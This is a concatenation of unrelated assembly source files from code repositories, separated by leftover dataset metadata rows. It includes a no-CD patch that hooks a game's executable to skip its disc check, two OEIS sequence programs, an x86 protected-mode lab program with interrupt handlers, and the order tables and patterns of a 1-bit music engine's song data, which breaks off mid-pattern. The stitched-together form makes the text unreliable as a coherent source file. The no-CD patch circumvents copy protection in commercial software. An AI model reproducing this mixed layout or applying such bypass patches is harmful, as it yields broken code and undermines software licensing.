] | 33 | 2016-07-30T14:17:28.000Z | 2021-12-19T15:45:19.000Z | src/no-cd_nyer.asm | A-Productions/ts-patches | 326db731f7226d9e803feab475777c730688634e | [
"MIT"
] | 73 | 2018-08-17T00:25:19.000Z | 2021-05-10T08:31:15.000Z | src/no-cd_nyer.asm | A-Productions/ts-patches | 326db731f7226d9e803feab475777c730688634e | [
"MIT"
] | 18 | 2017-05-16T11:28:06.000Z | 2022-03-20T20:41:03.000Z | %include "macros/patch.inc"
%include "macros/datatypes.inc"
gbool IsNoCD, false
hack 0x004754A0, 0x004754A6
cmp byte[IsNoCD], 1
jnz .out
xor eax, eax
cmp edi, 1
jnz .ret
inc eax
.ret:
retn
.out:
sub esp, 0x148
jmp hackend
hack 0x004756E4
cmp byte[IsNoCD], 1
jnz .out
cmp eax, dword[0x711A00]
jnz 0x0047578F
jmp 0x004756F2
.out:
cmp eax, -1
jle 0x004756FE
jmp hackend
hack 0x0047578F, 0x00475795
cmp byte[IsNoCD], 1
jnz .out
cmp eax, edi
jnz 0x004756F2
mov dword[0x711A00], eax
jmp 0x004757AC
.out:
mov ecx, dword[esp+0x10]
test ecx, ecx
jmp hackend
hack 0x004AB8FB
cmp byte[IsNoCD], 1
jnz .out
cmp eax, 3
jnz 0x004AB91E
jmp hackend
.out:
cmp eax, 5
jnz 0x004AB91E
jmp hackend
| 13.916667 | 31 | 0.614371 |
4c586933ccc262199bbfaeb93c9d390dac7ed0d7 | 307 | asm | Assembly | programs/oeis/121/A121205.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/121/A121205.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/121/A121205.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A121205: "666" in bases 7 and higher rewritten in base 10.
; 342,438,546,666,798,942,1098,1266,1446,1638,1842,2058,2286,2526,2778,3042,3318,3606,3906,4218,4542,4878,5226,5586,5958,6342,6738,7146,7566,7998,8442,8898,9366,9846,10338,10842,11358,11886,12426
mov $1,$0
add $1,15
mul $0,$1
add $0,57
mul $0,6
| 34.111111 | 195 | 0.736156 |
23ef9117563be98bfab7019be1990cc3bddafcaa | 649 | asm | Assembly | programs/oeis/065/A065333.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/065/A065333.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/065/A065333.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A065333: Characteristic function of 3-smooth numbers, i.e., numbers of the form 2^i*3^j (i, j >= 0).
; 1,1,1,1,0,1,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
add $0,1
mov $1,2985984
mod $1,$0
cmp $1,0
| 81.125 | 501 | 0.533128 |
baef6894d06426054d1bbadae83b8508decdef69 | 5,920 | asm | Assembly | sem_01/lab_02/2.asm | bmstu-ics7/operating-systems | 32702c395168d33c64fa64bcef2fb2ac202020fd | [
"MIT"
] | 3 | 2020-05-13T19:08:29.000Z | 2021-02-27T11:20:53.000Z | sem_01/lab_02/2.asm | bmstu-ics7/operating-systems | 32702c395168d33c64fa64bcef2fb2ac202020fd | [
"MIT"
] | null | null | null | sem_01/lab_02/2.asm | bmstu-ics7/operating-systems | 32702c395168d33c64fa64bcef2fb2ac202020fd | [
"MIT"
] | 1 | 2021-06-20T14:08:03.000Z | 2021-06-20T14:08:03.000Z | .386p
descr struc
limit dw 0
base_l dw 0
base_m db 0
attr_1 db 0
arrt_2 db 0
base_h db 0
descr ends
int_descr struc
offs_l dw 0
sel dw 0
counter db 0
attr db 0
offs_h dw 0
int_descr ends
pm_seg segment para public 'code' use32
assume cs:pm_seg
gdt label byte
gdt_null descr <>
gdt_flatDS descr <0ffffh, 0, 0, 92h, 11001111b, 0>
gdt_16bitCS descr <rm_seg_size-1, 0, 0, 98h, 0, 0>
gdt_32bitCS descr <pm_seg_size-1, 0, 0, 98h, 11001111b, 0>
gdt_32bitDS descr <pm_seg_size-1, 0, 0, 92h, 11001111b, 0>
gdt_32bitSS descr <stack_size-1, 0, 0, 92h, 11001111b, 0>
gdt_size = $-gdt
gdtr dw gdt_size-1
dd ?
sel_flatDS equ 001000b
sel_16bitCS equ 010000b
sel_32bitCS equ 011000b
sel_32bitDS equ 100000b
sel_32bitSS equ 101000b
idt label byte
int_descr_1 int_descr 13 dup (<0, SEL_32bitCS, 0, 8Fh, 0>)
int13 int_descr <0, SEL_32bitCS, 8Fh, 0>
int_descr_2 int_descr 18 dup (<0, SEL_32bitCS, 8Fh, 0>)
irq0 int_descr <0, SEL_32bitCS,0, 8Eh, 0>
irq1 int_descr <0, SEL_32bitCS,0, 8Eh, 0>
idt_size = $-idt
idtr dw idt_size-1
dd ?
idtr_real dw 3ffh, 0, 0
v86_msg db "Процессор в режиме V86 - нельзя переключится в PM$"
win_msg db "Программа запущена под Windows перейти в кольцо 0$"
scan2ascii db 0, 1bh, '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '-', '=', 8
db 0, 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', '{', '}'
db 0, 0, 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', ':', "'", 0, 0
db 'a', 'z', 'x', 'c', 'v', 'b', 'n', 'm', ',', '.', '/', 0
db 0, 0, 0, 0 ,' '
time_08 dd 0
screen_addr dd 320
master db 0
slave db 0
pm_entry:
mov ax, sel_flatDS
mov ds, ax
mov es, ax
mov ax, sel_32bitSS
mov ebx, stack_size
mov ss, ax
mov esp, ebx
sti
call print_memory
jmp short $
dummy proc
mov ax, 1h
jmp esc_pressed
dummy endp
dummy13 proc
mov ax, 0dh
jmp esc_pressed
dummy13 endp
; Таймер
irq0_handler:
push eax
push ebp
push ecx
push dx
mov eax,time_08
mov ebp,0B8010h
mov ecx,8
prcyc:
mov dl,al
and dl,0Fh
cmp dl,10
jl number
add dl, 'A' - '0' - 10
number:
add dl,'0'
mov es:[ebp],dl
sub ebp,2
ror eax,4
loop prcyc
inc eax
mov time_08,eax
pop dx
pop ecx
pop ebp
mov al,20h
out 20h,al
pop eax
iretd
; Прерывания от клавиатуры
irq1_handler:
push eax
push ebx
push es
push ds
in al, 60h
cmp al, 39h
ja skip_translate
cmp al, 1
je esc_pressed
cmp al, 1
je esc_pressed
mov bx, sel_32bitDS
mov ds, bx
mov ebx, offset scan2ascii
xlatb
mov bx, sel_flatDS
mov es, bx
mov ebx, screen_addr
cmp al, 8
je bs_pressed
mov es:[ebx+0b8000h], al
add dword ptr screen_addr, 2
jmp short skip_translate
bs_pressed:
mov al, ' '
sub ebx, 2
mov es:[ebx+0b8000h],al
mov screen_addr, ebx
skip_translate:
in al, 61h
or al, 80h
out 61h, al
mov al, 20h
out 20h, al
pop ds
pop es
pop ebx
pop eax
iretd
esc_pressed:
in al, 61h
or al, 80h
out 61h, al
mov al, 20h
out 20h, al
pop ds
pop es
pop ebx
pop eax
cli
db 0eah
dd offset rm_return
dw sel_16bitCS
print_memory proc
push ds
mov ax, sel_flatds
mov ds, ax
mov ebx, 100001h
mov dl, 10101010b
mov ecx, 0ffeffffeh
check:
mov dh, ds:[ebx]
mov ds:[ebx], dl
cmp ds:[ebx], dl
jnz end_of_memory
mov ds:[ebx], dh
inc ebx
loop check
end_of_memory:
pop ds
xor edx, edx
mov eax, ebx
mov ebx, 100000h
div ebx
push ebp
mov ebp,20
push ecx
push dx
mov ecx,8
add ebp,0b8010h
prcyc1:
mov dl,al
and dl,0fh
cmp dl,10
jl number1
add dl,'A' - '0' - 10
number1:
add dl,'0'
mov es:[ebp],dl
ror eax,4
sub ebp,2
loop prcyc1
sub ebp,0b8010h
pop dx
pop ecx
pop ebp
ret
print_memory endp
pm_seg_size = $-gdt
pm_seg ends
rm_seg segment para public 'code' use16
assume cs:rm_seg, ds:pm_seg, ss:stack_seg
start:
; Очистка экрана
mov ax, 3
int 10h
push pm_seg
pop ds
xor eax, eax
mov ax, rm_seg
shl eax, 4
mov word ptr gdt_16bitCS+2, ax ; Базой 16bitCS будет rm_seg
shr eax, 16
mov byte ptr gdt_16bitCS+4, al
mov ax, pm_seg
shl eax, 4
push eax
push eax
mov word ptr gdt_32bitCS+2, ax ; Базой всех 32bit будет pm_seg
mov word ptr gdt_32bitSS+2, ax
mov word ptr gdt_32bitDS+2, ax
shr eax, 16
mov byte ptr gdt_32bitCS+4, al
mov byte ptr gdt_32bitSS+4, al
mov byte ptr gdt_32bitDS+4, al
pop eax
add eax, offset gdt
mov dword ptr gdtr+2, eax
mov word ptr gdtr, gdt_size-1
lgdt fword ptr gdtr
pop eax
add eax, offset idt
mov dword ptr idtr+2, eax
mov word ptr idtr, idt_size-1
; Перепрограммировать контроллер прерываний
mov eax, offset irq0_handler
mov irq0.offs_l, ax
shr eax, 16
mov irq0.offs_h, ax
mov eax, offset irq1_handler
mov irq1.offs_l, ax
shr eax, 16
mov irq1.offs_h, ax
mov eax, offset dummy
mov int_descr_1.offs_l, ax
mov int_descr_2.offs_l, ax
shr eax, 16
mov int_descr_1.offs_h, ax
mov int_descr_2.offs_h, ax
mov eax, offset dummy13
mov int13.offs_l, ax
shr eax, 16
mov int13.offs_h, ax
in al, 21h
mov master, al
in al, 0A1h
mov slave, al
mov al, 11h
out 20h, al
mov AL, 20h
out 21h, al
mov al, 4
out 21h, al
mov al, 1
out 21h, al
mov al, 0fch ; Игнорируем все прерывания, кроме первых двух
out 21h, al
mov al, 0ffh
out 0a1h, al
lidt fword ptr idtr
; Открытие А20
in al, 92h
or al, 2
out 92h, al
cli
in al, 70h
or al, 80h
out 70h, al
; Переход в PM
mov eax, cr0
or al, 1
mov cr0, eax
db 66h
db 0eah
dd offset pm_entry
dw sel_32bitCS
rm_return:
; Переход в RM
mov eax, cr0
and al, 0feh
mov cr0, eax
db 0eah
dw $+4
dw rm_seg
mov ax, pm_seg
mov ds, ax
mov es, ax
mov ax, stack_seg
mov bx, stack_size
mov ss, ax
mov sp, bx
mov ax, pm_seg
mov ds, ax
mov al, master
out 21h, al
mov al, slave
out 0a1h, al
lidt fword ptr idtr_real
in al, 70h
and al, 07fh
out 70h, al
sti
mov ah, 4ch
int 21h
rm_seg_size = $-start
rm_seg ends
stack_seg segment para stack 'stack'
stack_start db 100h dup(?)
stack_size = $-stack_start
stack_seg ends
end start
| 14.874372 | 84 | 0.671284 |
081aa8f7ed63b0dc06d9ab110e3530f128729691 | 467 | asm | Assembly | programs/oeis/189/A189409.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/189/A189409.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/189/A189409.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A189409: a(n) = prime(n)#^2 + 1, where prime(n)# is the n-th primorial (A002110).
; 2,5,37,901,44101,5336101,901800901,260620460101,94083986096101,49770428644836901,41856930490307832901,40224510201185827416901,55067354465423397733736101,92568222856376731590410384101,171158644061440576710668800200901,378089444731722233953867379643788101
seq $0,2110 ; Primorial numbers (first definition): product of first n primes. Sometimes written prime(n)#.
pow $0,2
add $0,1
| 66.714286 | 255 | 0.817987 |
a0d535d89ac051c2ff319cd465233d2d93ee5cb3 | 1,299 | asm | Assembly | programs/oeis/250/A250069.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/250/A250069.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/250/A250069.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A250069: a(n) = n^2 mod gpf(n^2 + 1) where gpf(k) is the greatest prime dividing k.
; 1,4,4,16,12,36,4,12,40,100,60,28,16,196,112,256,28,12,180,400,16,96,52,576,312,676,72,156,420,52,36,40,108,88,612,1296,136,16,760,1600,28,352,36,148,1012,72,16,460,1200,60,1300,540,280,2916,88,3136,12,672,1740,276,1860,768,396,240,2112,4356,448,36,2380,28,2520,60,40,5476,96,108,592,1216,3120,172,192,268,52,7056,3612,568,756,1548,232,8100,100,1692,172,8836,4512,708,940,112,28,136,5100,2080,1060,372,148,660,228,2332,456,12100,100,192,1276,316,388,13456,36,556,96,14400,7320,228,88,15376,600,15876,1612,112,156,16900,8580,40,60,17956,700,348,1876,292,9660,1152,9940,108,408,232,10512,21316,2160,336,652,22500,876,4620,2340,640,292,24336,28,4992,12640,25600,996,180,2656,2068,13612,1620,2788,1128,14280,28900,14620,96,72,136,15312,30976,240,6336,432,32400,16380,52,196,33856,156,1192,268,7068,336,2776,36,100,148,616,19012,936,3880,7840,19800,180,20200,8160,316,41616,21012,42436,856,508,21840,44100,196,100,348,1116,796,96,276,1900,23980,1668,24420,9856,4972,50176,1488,3928,5152,280,2016,52900,26680,2152,88,3220,520,55696,136,11328,12,57600,256,52,1180,2052,30012,828,6100,12300,1068,62500
mov $2,1
add $2,$0
mov $1,$2
mul $1,$2
cal $1,6530 ; Gpf(n): greatest prime dividing n, for n >= 2; a(1)=1.
sub $1,1
| 129.9 | 1,094 | 0.743649 |
3ac7040909f905d2997e621400f006e88f63f334 | 304 | asm | Assembly | programs/oeis/004/A004933.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/004/A004933.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/004/A004933.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A004933: Floor of n*phi^18, where phi is the golden ratio, A001622.
; 0,5777,11555,17333,23111,28889,34667,40445,46223,52001,57779,63557,69335,75113,80891,86669,92447,98225,104003,109781,115559,121337,127115,132893,138671,144449,150227
mov $1,$0
trn $1,1
mov $2,$0
lpb $2
add $1,5777
sub $2,1
lpe
| 27.636364 | 167 | 0.740132 |
515f9d2884c54e962958af384f997fef1e2d7190 | 27,546 | asm | Assembly | PORTS/zx10/music.asm | bushy555/ZX-Spectrum-1-Bit-Routines | 4d336dec9d7abc979a97af76d515104a9263f127 | [
"BSD-3-Clause"
] | null | null | null | PORTS/zx10/music.asm | bushy555/ZX-Spectrum-1-Bit-Routines | 4d336dec9d7abc979a97af76d515104a9263f127 | [
"BSD-3-Clause"
] | null | null | null | PORTS/zx10/music.asm | bushy555/ZX-Spectrum-1-Bit-Routines | 4d336dec9d7abc979a97af76d515104a9263f127 | [
"BSD-3-Clause"
] | null | null | null | db $06
dw order0
dw order1
dw order2
dw order3
order0
dw $e100
dw pattern0
dw pattern1
dw pattern0
dw pattern2
dw pattern3
dw pattern1
dw pattern1
dw pattern4
dw pattern0
dw pattern1
dw pattern0
dw pattern2
dw pattern3
dw pattern1
dw pattern1
dw pattern5
dw pattern6
dw pattern1
dw pattern6
dw pattern7
dw pattern8
dw pattern1
dw pattern1
dw pattern9
dw pattern6
dw pattern1
dw pattern6
dw pattern7
dw pattern8
dw pattern1
dw pattern1
dw pattern10
dw pattern2
dw pattern1
dw pattern2
dw pattern11
dw pattern12
dw pattern1
dw pattern1
dw pattern13
dw pattern2
dw pattern1
dw pattern2
dw pattern11
dw pattern14
dw pattern1
dw pattern1
dw pattern15
dw pattern7
dw pattern1
dw pattern7
dw pattern16
dw pattern17
dw pattern1
dw pattern1
dw pattern18
dw pattern7
dw pattern1
dw pattern7
dw pattern16
dw pattern19
dw pattern1
dw pattern1
dw pattern20
dw pattern21
dw pattern1
dw pattern21
dw pattern22
dw pattern12
dw pattern1
dw pattern1
dw pattern23
dw pattern21
dw pattern1
dw pattern21
dw pattern22
dw pattern24
dw pattern1
dw pattern1
dw pattern25
dw pattern21
dw pattern1
dw pattern21
dw pattern22
dw pattern12
dw pattern1
dw pattern1
dw pattern23
dw pattern0
dw pattern1
dw pattern0
dw pattern26
dw pattern27
dw pattern1
dw pattern1
dw pattern28
dw pattern29
dw pattern30
dw pattern31
dw pattern1
dw pattern32
dw pattern33
dw pattern34
dw pattern35
dw pattern36
dw pattern37
dw pattern1
dw pattern38
dw pattern39
dw pattern1
dw pattern1
dw pattern1
dw pattern40
dw pattern1
dw pattern1
dw pattern1
dw pattern1
dw pattern1
dw pattern1
dw pattern1
dw pattern41
dw pattern1
dw pattern1
dw pattern42
dw pattern39
dw pattern1
dw pattern1
dw pattern1
dw pattern43
dw pattern44
dw pattern45
dw pattern46
dw pattern47
dw pattern48
dw pattern33
dw pattern8
dw pattern49
dw pattern50
dw pattern51
dw pattern52
dw pattern53
dw pattern54
dw pattern55
dw pattern56
dw pattern43
dw pattern44
dw pattern45
dw pattern46
dw pattern57
dw pattern58
dw pattern33
dw pattern8
dw pattern49
dw pattern50
dw pattern51
dw pattern52
dw pattern59
dw pattern1
dw pattern1
dw pattern1
dw pattern12
dw pattern1
dw pattern1
dw pattern1
dw pattern59
dw pattern1
dw pattern1
dw pattern1
dw pattern17
dw pattern1
dw pattern1
dw pattern1
dw pattern59
dw pattern1
dw pattern1
dw pattern1
dw pattern60
dw pattern1
dw pattern1
dw pattern1
dw pattern59
dw pattern1
dw pattern1
dw pattern1
dw pattern61
dw pattern1
dw pattern1
dw pattern59
dw pattern1
dw pattern1
dw pattern60
dw pattern17
dw pattern12
dw pattern1
dw pattern1
dw pattern1
dw pattern62
dw pattern1
dw pattern1
dw pattern1
dw pattern17
dw pattern1
dw pattern1
dw pattern1
dw pattern59
dw pattern1
dw pattern63
dw pattern64
dw pattern65
dw pattern1
dw pattern1
dw pattern1
dw pattern66
dw pattern1
dw pattern1
dw pattern1
dw pattern61
dw pattern1
dw pattern1
dw pattern59
dw pattern1
dw pattern1
dw pattern60
dw pattern17
dw pattern59
order1
dw $e100
dw pattern67
dw pattern68
dw pattern69
dw pattern70
dw pattern71
dw pattern1
dw pattern1
dw pattern72
dw pattern67
dw pattern68
dw pattern69
dw pattern70
dw pattern71
dw pattern1
dw pattern1
dw pattern73
dw pattern74
dw pattern3
dw pattern75
dw pattern76
dw pattern77
dw pattern1
dw pattern1
dw pattern78
dw pattern74
dw pattern3
dw pattern75
dw pattern76
dw pattern77
dw pattern1
dw pattern1
dw pattern79
dw pattern80
dw pattern81
dw pattern82
dw pattern83
dw pattern84
dw pattern1
dw pattern1
dw pattern85
dw pattern86
dw pattern48
dw pattern87
dw pattern83
dw pattern84
dw pattern1
dw pattern1
dw pattern88
dw pattern89
dw pattern90
dw pattern91
dw pattern92
dw pattern93
dw pattern1
dw pattern1
dw pattern94
dw pattern95
dw pattern96
dw pattern97
dw pattern92
dw pattern93
dw pattern1
dw pattern1
dw pattern98
dw pattern99
dw pattern100
dw pattern101
dw pattern102
dw pattern103
dw pattern1
dw pattern1
dw pattern104
dw pattern105
dw pattern93
dw pattern106
dw pattern102
dw pattern103
dw pattern1
dw pattern1
dw pattern107
dw pattern99
dw pattern100
dw pattern101
dw pattern102
dw pattern103
dw pattern1
dw pattern1
dw pattern104
dw pattern67
dw pattern68
dw pattern69
dw pattern70
dw pattern71
dw pattern1
dw pattern1
dw pattern108
dw pattern109
dw pattern109
dw pattern109
dw pattern1
dw pattern59
dw pattern1
dw pattern1
dw pattern1
dw pattern110
dw pattern111
dw pattern111
dw pattern1
dw pattern17
dw pattern1
dw pattern1
dw pattern1
dw pattern112
dw pattern109
dw pattern109
dw pattern1
dw pattern1
dw pattern1
dw pattern1
dw pattern1
dw pattern110
dw pattern111
dw pattern111
dw pattern1
dw pattern17
dw pattern1
dw pattern1
dw pattern1
dw pattern113
dw pattern114
dw pattern115
dw pattern116
dw pattern117
dw pattern118
dw pattern119
dw pattern117
dw pattern120
dw pattern61
dw pattern60
dw pattern121
dw pattern122
dw pattern63
dw pattern123
dw pattern124
dw pattern113
dw pattern114
dw pattern115
dw pattern116
dw pattern125
dw pattern126
dw pattern127
dw pattern63
dw pattern120
dw pattern61
dw pattern60
dw pattern121
dw pattern59
dw pattern1
dw pattern1
dw pattern1
dw pattern128
dw pattern1
dw pattern1
dw pattern1
dw pattern59
dw pattern1
dw pattern1
dw pattern1
dw pattern128
dw pattern1
dw pattern1
dw pattern1
dw pattern59
dw pattern1
dw pattern1
dw pattern1
dw pattern128
dw pattern1
dw pattern1
dw pattern1
dw pattern59
dw pattern1
dw pattern1
dw pattern1
dw pattern129
dw pattern1
dw pattern1
dw pattern59
dw pattern1
dw pattern1
dw pattern128
dw pattern130
dw pattern131
dw pattern132
dw pattern133
dw pattern1
dw pattern134
dw pattern1
dw pattern135
dw pattern1
dw pattern136
dw pattern1
dw pattern1
dw pattern1
dw pattern137
dw pattern1
dw pattern1
dw pattern1
dw pattern138
dw pattern138
dw pattern138
dw pattern138
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern129
dw pattern1
dw pattern1
dw pattern59
dw pattern1
dw pattern1
dw pattern128
dw pattern130
dw pattern59
order2
dw $e100
dw pattern140
dw pattern141
dw pattern31
dw pattern1
dw pattern142
dw pattern143
dw pattern144
dw pattern145
dw pattern146
dw pattern141
dw pattern31
dw pattern1
dw pattern147
dw pattern143
dw pattern144
dw pattern148
dw pattern149
dw pattern150
dw pattern151
dw pattern1
dw pattern152
dw pattern153
dw pattern154
dw pattern155
dw pattern156
dw pattern150
dw pattern151
dw pattern1
dw pattern157
dw pattern153
dw pattern154
dw pattern158
dw pattern159
dw pattern160
dw pattern161
dw pattern12
dw pattern162
dw pattern163
dw pattern164
dw pattern165
dw pattern166
dw pattern160
dw pattern161
dw pattern1
dw pattern162
dw pattern163
dw pattern164
dw pattern167
dw pattern168
dw pattern169
dw pattern170
dw pattern17
dw pattern171
dw pattern163
dw pattern172
dw pattern173
dw pattern174
dw pattern169
dw pattern170
dw pattern1
dw pattern171
dw pattern163
dw pattern172
dw pattern175
dw pattern176
dw pattern177
dw pattern178
dw pattern12
dw pattern179
dw pattern130
dw pattern128
dw pattern180
dw pattern181
dw pattern177
dw pattern178
dw pattern1
dw pattern179
dw pattern130
dw pattern128
dw pattern182
dw pattern183
dw pattern177
dw pattern178
dw pattern12
dw pattern179
dw pattern130
dw pattern128
dw pattern180
dw pattern184
dw pattern185
dw pattern186
dw pattern1
dw pattern187
dw pattern188
dw pattern144
dw pattern189
dw pattern190
dw pattern191
dw pattern191
dw pattern192
dw pattern59
dw pattern1
dw pattern1
dw pattern1
dw pattern193
dw pattern194
dw pattern194
dw pattern195
dw pattern1
dw pattern1
dw pattern196
dw pattern1
dw pattern190
dw pattern191
dw pattern191
dw pattern192
dw pattern1
dw pattern1
dw pattern1
dw pattern1
dw pattern193
dw pattern194
dw pattern194
dw pattern195
dw pattern1
dw pattern1
dw pattern196
dw pattern1
dw pattern197
dw pattern198
dw pattern199
dw pattern200
dw pattern200
dw pattern198
dw pattern199
dw pattern200
dw pattern201
dw pattern202
dw pattern203
dw pattern201
dw pattern201
dw pattern202
dw pattern203
dw pattern201
dw pattern197
dw pattern198
dw pattern199
dw pattern200
dw pattern200
dw pattern198
dw pattern199
dw pattern200
dw pattern201
dw pattern202
dw pattern203
dw pattern201
dw pattern59
dw pattern1
dw pattern1
dw pattern1
dw pattern129
dw pattern1
dw pattern1
dw pattern1
dw pattern59
dw pattern1
dw pattern1
dw pattern1
dw pattern204
dw pattern1
dw pattern1
dw pattern1
dw pattern59
dw pattern1
dw pattern1
dw pattern1
dw pattern164
dw pattern1
dw pattern1
dw pattern1
dw pattern59
dw pattern1
dw pattern1
dw pattern1
dw pattern172
dw pattern1
dw pattern1
dw pattern59
dw pattern1
dw pattern1
dw pattern164
dw pattern204
dw pattern205
dw pattern206
dw pattern206
dw pattern207
dw pattern208
dw pattern209
dw pattern209
dw pattern209
dw pattern210
dw pattern211
dw pattern212
dw pattern212
dw pattern213
dw pattern213
dw pattern213
dw pattern213
dw pattern214
dw pattern1
dw pattern1
dw pattern1
dw pattern77
dw pattern1
dw pattern1
dw pattern1
dw pattern172
dw pattern1
dw pattern1
dw pattern59
dw pattern1
dw pattern1
dw pattern164
dw pattern204
dw pattern59
order3
dw $e100
dw pattern187
dw pattern143
dw pattern215
dw pattern216
dw pattern153
dw pattern129
dw pattern217
dw pattern218
dw pattern187
dw pattern143
dw pattern215
dw pattern216
dw pattern153
dw pattern129
dw pattern217
dw pattern219
dw pattern220
dw pattern153
dw pattern221
dw pattern222
dw pattern223
dw pattern204
dw pattern224
dw pattern225
dw pattern220
dw pattern153
dw pattern221
dw pattern222
dw pattern223
dw pattern226
dw pattern224
dw pattern227
dw pattern162
dw pattern163
dw pattern228
dw pattern229
dw pattern163
dw pattern130
dw pattern230
dw pattern231
dw pattern162
dw pattern163
dw pattern228
dw pattern229
dw pattern163
dw pattern130
dw pattern230
dw pattern232
dw pattern171
dw pattern163
dw pattern233
dw pattern234
dw pattern163
dw pattern235
dw pattern236
dw pattern237
dw pattern171
dw pattern163
dw pattern233
dw pattern234
dw pattern163
dw pattern235
dw pattern236
dw pattern238
dw pattern179
dw pattern130
dw pattern239
dw pattern240
dw pattern130
dw pattern241
dw pattern242
dw pattern243
dw pattern179
dw pattern130
dw pattern239
dw pattern240
dw pattern130
dw pattern241
dw pattern242
dw pattern244
dw pattern179
dw pattern130
dw pattern239
dw pattern240
dw pattern130
dw pattern241
dw pattern242
dw pattern243
dw pattern245
dw pattern188
dw pattern215
dw pattern246
dw pattern247
dw pattern248
dw pattern249
dw pattern219
dw pattern250
dw pattern251
dw pattern252
dw pattern250
dw pattern250
dw pattern251
dw pattern252
dw pattern250
dw pattern253
dw pattern254
dw pattern255
dw pattern253
dw pattern253
dw pattern254
dw pattern255
dw pattern253
dw pattern250
dw pattern251
dw pattern252
dw pattern250
dw pattern250
dw pattern251
dw pattern252
dw pattern250
dw pattern253
dw pattern254
dw pattern255
dw pattern253
dw pattern253
dw pattern254
dw pattern255
dw pattern253
dw pattern250
dw pattern251
dw pattern252
dw pattern250
dw pattern250
dw pattern251
dw pattern252
dw pattern250
dw pattern253
dw pattern254
dw pattern255
dw pattern253
dw pattern253
dw pattern254
dw pattern255
dw pattern253
dw pattern250
dw pattern251
dw pattern252
dw pattern250
dw pattern250
dw pattern251
dw pattern252
dw pattern250
dw pattern253
dw pattern254
dw pattern255
dw pattern253
dw pattern253
dw pattern254
dw pattern256
dw pattern257
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern258
dw pattern258
dw pattern259
dw pattern259
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern259
dw pattern259
dw pattern258
dw pattern258
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern259
dw pattern259
dw pattern259
dw pattern259
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern260
dw pattern260
dw pattern260
dw pattern260
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern139
dw pattern59
pattern0
db $47,$00,$4a,$00,$4e,$00,$51,$00,$e0
pattern1
db $00,$00,$00,$00,$00,$00,$00,$00,$e0
pattern2
db $4e,$00,$51,$00,$55,$00,$58,$00,$e0
pattern3
db $53,$00,$00,$00,$00,$00,$00,$00,$e0
pattern4
db $4c,$4e,$4c,$00,$5a,$5b,$5d,$00,$e0
pattern5
db $58,$56,$55,$00,$58,$56,$55,$53,$e0
pattern6
db $49,$00,$4c,$00,$50,$00,$53,$00,$e0
pattern7
